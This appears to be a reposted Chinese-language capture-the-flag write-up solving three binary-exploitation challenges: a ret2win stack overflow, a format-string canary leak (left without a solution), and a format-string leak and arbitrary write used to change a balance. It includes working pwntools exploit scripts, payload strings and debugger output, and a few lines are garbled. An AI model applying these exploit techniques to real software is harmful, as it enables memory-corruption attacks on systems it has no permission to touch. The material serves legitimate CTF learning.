KILL QUEEN CTF
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了KILL QUEEN CTF相关的知识,希望对你有一定的参考价值。
zoom2win
检查保护机制
[*] '/home/ubuntu16/Desktop/zoom2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
在ida里面看函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Let's not overcomplicate. Just zoom2win :)");
return gets(v4, argv);
}
int flag()
{
return system("cat flag.txt");
}
在ida里面看偏移,偏移为40
-0000000000000020 ; D/A/* : change type (data/ascii/array)
-0000000000000020 ; N : rename
-0000000000000020 ; U : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 var_20 db 32 dup(?)
+0000000000000000 s db 8 dup(?)
如果这个时候用偏移+返回地址会发现不行,这时候要考虑栈是否对齐的问题,所以我们尝试用一个ret来对齐
exp:
from pwn import *
p = process("./zoom2win")
elf = ELF('zoom2win')
payload = 'A' * 40
payload += p64(0x004011dd)
payload += p64(elf.sym["flag"])
p.recvline()
p.sendline(payload)
p.interactive()
p.close()
tweetybird
checksec一下
[*] '/home/ubuntu16/Desktop/tweetybirb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这里有两个漏洞,一个是printf的格式化字符串漏洞,一个是栈溢出,那我们的思路就是:先靠格式化字符串漏洞泄露canary,然后用栈溢出来返回到后门函数
printf从右边到左边依次传参给寄存器,所以输入aaaa,测试一下canary的参数在哪个位置
gdb启动,然后b到main函数call printf的地址,r执行
00:0000│ rdi rsp 0x7fffffffde10 ◂— 'aaaaaaaa'
01:0008│ 0x7fffffffde18 —▸ 0x401200 (main+14) ◂— mov eax, dword ptr [0x28]
02:0010│ 0x7fffffffde20 ◂— 0x2
03:0018│ 0x7fffffffde28 —▸ 0x40132d (__libc_csu_init+77) ◂— add rbx, 1
04:0020│ 0x7fffffffde30 ◂— 0x0
... ↓
06:0030│ 0x7fffffffde40 —▸ 0x4012e0 (__libc_csu_init) ◂— endbr64
07:0038│ 0x7fffffffde48 —▸ 0x4010f0 (_start) ◂— endbr64
08:0040│ 0x7fffffffde50 —▸ 0x7fffffffdf40 ◂— 0x1
09:0048│ 0x7fffffffde58 ◂— 0x4353266fb8e99200
0a:0050│ rbp 0x7fffffffde60 —▸ 0x4012e0 (__libc_csu_init) ◂— endbr64
canary在ebp之前,这其中间隔7个,然后再加上8个寄存器,canary就是第15个参数,%15 p 来 泄 露 , p来泄露,%p输出内容,15 p来泄露,表示第15个参数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[72]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts(
"What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb prot"
"ectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?");
gets(format, argv);
printf(format);
puts("\\nhmmm interesting. What about water fowl?");
gets(format, argv);
return 0;
}
int win()
{
return system("cat /home/user/flag.txt");
}
有canary,那尝试泄露canary
broke student college
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这里有PIE,只有最后三个字节不变那我们的思路就要泄露当前进程中的地址
执行一遍后,我们需要可写可读的权限去改money变量
有很多函数,只看有漏洞的地方
catch函数,只要我们得到了scholarship我们就可以改name,有个格式化字符串漏洞,我们就有任意读写的权限了
void catch(void)
{
long in_FS_OFFSET;
char fmtStringBug [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("You caught a wild scholarship! These are rare.");
puts("What is it\\'s name?");
printf("name: ");
fflush(stdout);
__isoc99_scanf(&DAT_00102349,fmtStringBug);
puts(
"Maybe now you\\'ll be able to afford a single quarter of university! The scholarship you got was: \\n"
);
printf(fmtStringBug);
fflush(stdout);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
$ ./brokecollegestudents
Welcome to the College Applications!
What would you like to do?
You have 5000 money.
===========================
1) Scholarship Application Portal
2) Collegeboard Website
3) Quit
===========================
Choice: 1
Welcome to the College Applications!
Would you like to delve into scholarship hunting?
It's only $500 and you have a one in a million chance of winning. What a steal!
===========================
You have 5000 money.
1) Yes ($500)
2) No
===========================
Choose: 1
You encountered some kind of wild application essay reader thing!
What do you want to do?
1) Apply!
2) Run away and follow your dreams of art school!
CHOOSE: 1
YOU GOT IT!
You caught a wild scholarship! These are rare.
What is it's name?
name: %23$016llx
Maybe now you'll be able to afford a single quarter of university! The scholarship you got was:
0000556adb57992d
可以查看基址然后相减就得到偏移 6445
然后得到money的偏移为16412
$ ./brokecollegestudents
Welcome to the College Applications!
What would you like to do?
You have 5000 money.
===========================
1) Scholarship Application Portal
2) Collegeboard Website
3) Quit
===========================
Choice: 1
Welcome to the College Applications!
Would you like to delve into scholarship hunting?
It's only $500 and you have a one in a million chance of winning. What a steal!
===========================
You have 5000 money.
1) Yes ($500)
2) No
===========================
Choose: 1
You encountered some kind of wild application essay reader thing!
What do you want to do?
1) Apply!
2) Run away and follow your dreams of art school!
CHOOSE: 1
YOU GOT IT!
You caught a wild scholarship! These are rare.
What is it's name?
name: %23$016llx
Maybe now you'll be able to afford a single quarter of university! The scholarship you got was:
0000556adb57992d
from pwn import *
p = process('./brokecollegestudents')
elf = ELF('./brokecollegestudents')
ptrbaseoffset = 6445 # base is 6445 less than the leaked pointer
moneyoffset = 16412 # money offset is baseaddr+16412
# leak a pointer and calculate base address and money address
p.recvuntil('Choice: ')
p.sendline('1')
p.recvlines(8)
p.sendline('1')
p.recvuntil('CHOOSE: ')
p.sendline('1')
p.recvuntil('name: ')
p.sendline('%23$016llx')
p.recvlines(2)
leak = p.recvline().decode()[0:16]
base = int(leak,16)-6445
money = base+moneyoffset
log.info('leaked base address: %x' % base)
log.info('money location: %x' % money)
# write a bunch of money
# our fmt string is 6th on the stack
write = {money:10000000}
payload = fmtstr_payload(6,write)
p.recvuntil(b'Choice: ')
p.sendline(b'1')
p.recvlines(8)
p.sendline(b'1')
p.recvuntil(b'CHOOSE: ')
p.sendline(b'1')
p.recvuntil(b'name: ')
p.sendline(payload)
p.recvlines(3)
balance = p.recvline().decode().split()[2]
log.success("Money balance now: %s" % balance)
log.info("Now go on a shopping spree!!")
p.interactive()
以上是关于KILL QUEEN CTF的主要内容,如果未能解决你的问题,请参考以下文章